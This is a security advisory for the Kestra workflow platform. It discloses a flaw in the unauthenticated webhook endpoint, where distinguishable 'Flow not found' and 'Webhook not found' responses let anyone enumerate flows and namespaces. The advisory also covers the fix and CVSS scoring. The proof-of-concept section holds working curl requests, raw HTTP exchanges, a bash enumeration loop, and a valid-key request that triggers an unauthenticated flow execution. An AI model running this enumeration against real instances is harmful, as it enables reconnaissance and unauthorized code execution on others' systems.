Skip to content

Unauthenticated flow/namespace enumeration oracle in Kestra webhook endpoint via distinguishable "Flow not found" vs "Webhook not found" responses

Moderate
loicmathieu published GHSA-6wcq-4vx6-rx53 Sep 29, 2026

Package

maven io.kestra:kestra (Maven)

Affected versions

<= 1.3.38, 2.0.0

Patched versions

1.3.39, 2.0.1

Description

Description

Summary

Kestra's webhook-trigger execution endpoint, GET|POST|PUT /api/v1/{tenant}/executions/webhook/{namespace}/{id}/{key}, is intentionally unauthenticated (its path prefix is listed in kestra.server.basic-auth.open-urls so external systems can fire webhooks). However, before it validates the secret webhook key, it first looks up the flow and returns a different error message depending on whether the flow exists:

  • Flow does not exist → HTTP 404 {"message":"Not Found: Flow not found"}
  • Flow exists (wrong/absent webhook key) → HTTP 404 {"message":"Not Found: Webhook not found"}

Because this endpoint requires no credentials, an unauthenticated network attacker can use this observable response discrepancy as an oracle to enumerate the complete flow and namespace inventory of a Kestra instance - namespace names and flow IDs - without ever authenticating and without knowing any webhook key. For a workflow-orchestration platform these names routinely reveal internal projects, environments, cloud accounts and data pipelines (e.g. prod.payments/order-sync, infra.aws/rotate-keys), providing high-value reconnaissance that the basic-auth wall is meant to prevent. It also lets an attacker pinpoint which real flows to target for webhook-key guessing - and a correct key yields unauthenticated flow execution (demonstrated below).

Details

Why the endpoint is unauthenticated. The basic-auth filter guards /api/v1/** but treats any path that starts with a configured open-url prefix as public.

cli/src/main/resources/application.yml (open-urls)

kestra:
  server:
    basic-auth:
      open-urls:
        - "/ping"
        - "/api/v1/executions/webhook/"
        - "/api/v1/main/executions/webhook/"
        - "/api/v1/*/executions/webhook/"
        - "/api/v1/basicAuthValidationErrors"

webserver/src/main/java/io/kestra/webserver/filter/AuthenticationFilter.java:54-61

boolean isOpenUrl = Optional.ofNullable(basicAuthConfiguration.openUrls())
    .map(Collection::stream)
    .map(stream -> stream.anyMatch(s -> request.getPath().startsWith(s)))   // raw-path prefix match
    .orElse(false);

if (isConfigEndpoint || isOpenUrl || isManagementEndpoint(request)) {
    return chain.proceed(request);                                          // <-- no auth check
}

So every request to /api/v1/.../executions/webhook/... bypasses basic-auth by design.

The oracle. webserver/src/main/java/io/kestra/webserver/controllers/api/ExecutionController.java

595  private Mono<HttpResponse<?>> webhook(String namespace, String id, String key, ...) {
601      Optional<Flow> find = flowRepository.findById(tenantService.resolveTenant(), namespace, id);
602      return webhook(find, key, path, request);
603  }
605  protected Mono<HttpResponse<?>> webhook(Optional<Flow> maybeFlow, String key, ...) {
610      if (maybeFlow.isEmpty()) {
611          throw new HttpStatusException(HttpStatus.NOT_FOUND, "Flow not found");     // flow does NOT exist
612      }
        ...
622      Optional<AbstractWebhookTrigger> maybeWebhook = flow.getTriggers()...
628          .filter(w -> MessageDigest.isEqual(renderedKey, key))                     // constant-time key check
641          .findFirst();
643      if (maybeWebhook.isEmpty()) {
644          throw new HttpStatusException(HttpStatus.NOT_FOUND, "Webhook not found");  // flow EXISTS
645      }

The flow-existence check (610-611) happens before and independently of the key check (628-644), and the two failures return distinguishable messages. The key comparison itself is correctly constant-time (MessageDigest.isEqual) - the leak is purely the branch that fires first and the different message it returns.

PoC

Complete, reproducible instructions with real, unredacted values captured from a live run. No credentials are sent in any webhook request below.

Environment. Kestra v1.3.37 from the official docker-compose with basic-auth enabled on the main server (admin@kestra.io / Admin1234!); the container's port 8080 is published at http://localhost:3031. The default tenant segment is main.

Step 0 - (setup) create a flow that has a webhook trigger

This is the "flow that exists" the oracle will reveal. Any real flow works; this makes the PoC self-contained.

cat > flow.yaml <<'YAML'
id: order-sync
namespace: prod.payments
tasks:
  - id: log
    type: io.kestra.plugin.core.log.Log
    message: "order received"
triggers:
  - id: incoming
    type: io.kestra.plugin.core.trigger.Webhook
    key: s3cr3t-webhook-key-9911
YAML

curl -s -u 'admin@kestra.io:Admin1234!' -X POST \
  'http://localhost:3031/api/v1/main/flows' \
  -H 'Content-Type: application/x-yaml' --data-binary @flow.yaml \
  -o /dev/null -w 'create -> %{http_code}\n'      # -> 200 (or 422 if it already exists)

curl -s -u 'admin@kestra.io:Admin1234!' \
  'http://localhost:3031/api/v1/main/flows/prod.payments/order-sync' \
  -o /dev/null -w 'flow exists (authed) -> %{http_code}\n'   # -> 200

Step 1 - Control: the main API requires authentication

curl -s -o /dev/null -w '%{http_code}\n' \
  'http://localhost:3031/api/v1/main/flows/search'          # -> 401

Raw:

GET /api/v1/main/flows/search HTTP/1.1
Host: localhost:3031
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic

So the rest of the API is gated; the webhook path is not.

Step 2 - Oracle response A: a flow that EXISTS (unauthenticated, wrong key)

Raw request:

GET /api/v1/main/executions/webhook/prod.payments/order-sync/wrongkey000 HTTP/1.1
Host: localhost:3031

Raw response:

HTTP/1.1 404 Not Found
content-type: application/json
content-length: 286

{"message":"Not Found: Webhook not found","logref":null,"path":null,"_links":{"self":{"href":"/api/v1/main/executions/webhook/prod.payments/order-sync/wrongkey000","templated":false,"profile":null,"deprecation":null,"title":null,"hreflang":null,"type":null,"name":null}},"_embedded":{}}

Step 3 - Oracle response B: a flow that does NOT exist (unauthenticated)

Raw request:

GET /api/v1/main/executions/webhook/prod.payments/does-not-exist-zzz/wrongkey000 HTTP/1.1
Host: localhost:3031

Raw response:

HTTP/1.1 404 Not Found
content-type: application/json
content-length: 291

{"message":"Not Found: Flow not found","logref":null,"path":null,"_links":{"self":{"href":"/api/v1/main/executions/webhook/prod.payments/does-not-exist-zzz/wrongkey000","templated":false,"profile":null,"deprecation":null,"title":null,"hreflang":null,"type":null,"name":null}},"_embedded":{}}

The message (Webhook not found vs Flow not found) - and the content-length (286 vs 291) - cleanly distinguish "flow exists" from "flow does not exist", with no credentials.

Step 4 - Enumeration loop (recover the flow inventory, no credentials, no key)

for id in order-sync payments-reconcile does-not-exist rotate-keys; do
  msg=$(curl -s "http://localhost:3031/api/v1/main/executions/webhook/prod.payments/$id/x" \
        | sed -n 's/.*"message":"Not Found: \([^"]*\)".*/\1/p')
  [ "$msg" = "Webhook not found" ] && echo "EXISTS : prod.payments/$id" \
                                   || echo "absent : prod.payments/$id ($msg)"
done

Output (verified live):

EXISTS : prod.payments/order-sync
absent : prod.payments/payments-reconcile (Flow not found)
absent : prod.payments/does-not-exist (Flow not found)
absent : prod.payments/rotate-keys (Flow not found)

A request into a non-existent namespace also returns Flow not found, so the same technique enumerates namespaces (any namespace containing a resolvable flow yields Webhook not found). Driven with a wordlist, an unauthenticated attacker reconstructs the instance's entire namespace/flow tree.

Step 5 - Impact escalation: a correct key executes the flow, still unauthenticated

Once a real {namespace}/{id} is known from the oracle, an attacker focuses key attempts on flows that actually exist. With the correct key the same unauthenticated endpoint runs the flow:

curl -s -D - -o exec.json -X POST \
  'http://localhost:3031/api/v1/main/executions/webhook/prod.payments/order-sync/s3cr3t-webhook-key-9911'
HTTP/1.1 200 OK
content-length: 666

exec.json (real values):

"id":"1C0p6GFK89zzWqD2D1y5qD"
"namespace":"prod.payments"
"flowId":"order-sync"
"state.current":"CREATED"

An execution was created and started with no credentials. Because flows can run script/Docker tasks (RCE-by-design for flow authors), a weak, guessable, or leaked webhook key on a flow - now precisely targetable thanks to the enumeration oracle - becomes an unauthenticated path to code execution.

Differential summary (all captured live)

Request (no creds) Result
GET /api/v1/main/flows/search 401 Unauthorized (control)
GET .../webhook/prod.payments/order-sync/wrongkey000 (flow exists) 404 Webhook not found (cl 286)
GET .../webhook/prod.payments/does-not-exist-zzz/wrongkey000 (absent) 404 Flow not found (cl 291)
POST .../webhook/prod.payments/order-sync/s3cr3t-webhook-key-9911 (valid key) 200, execution 1C0p6GFK89zzWqD2D1y5qD CREATED

Impact

This is an observable-response-discrepancy information-disclosure vulnerability (CWE-204). An unauthenticated network attacker can:

  • Enumerate the entire flow/namespace inventory of a Kestra instance without credentials. Flow and namespace names in an orchestration platform frequently disclose internal systems, cloud accounts, data pipelines, teams and environments - exactly the metadata the basic-auth boundary is meant to protect.
  • Select targets for follow-on attacks: knowing which {namespace}/{id} pairs really exist lets the attacker concentrate webhook-key guessing/brute-forcing on live flows, and (as shown) a correct key yields unauthenticated flow execution → potential RCE via the flow's tasks.

Everyone who self-hosts Kestra is affected, since the webhook prefix is unauthenticated by default configuration.

Fix

Every failure reachable without the correct webhook key: absent flow, disabled flow, invalid flow,
wrong key,... now returns the identical 404 "Webhook not found".

Residual risk

A timing difference remains between an absent flow (one repository lookup) and an existing one
(builds a RunContext and renders the trigger's key). For a literal key, this is a sub-millisecond
difference, impractical to exploit remotely against normal network jitter. We accept this as
residual risk.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE ID

No known CVE

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Observable Discrepancy

The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor, which exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not. Learn more on MITRE.

Observable Response Discrepancy

The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere. Learn more on MITRE.

Credits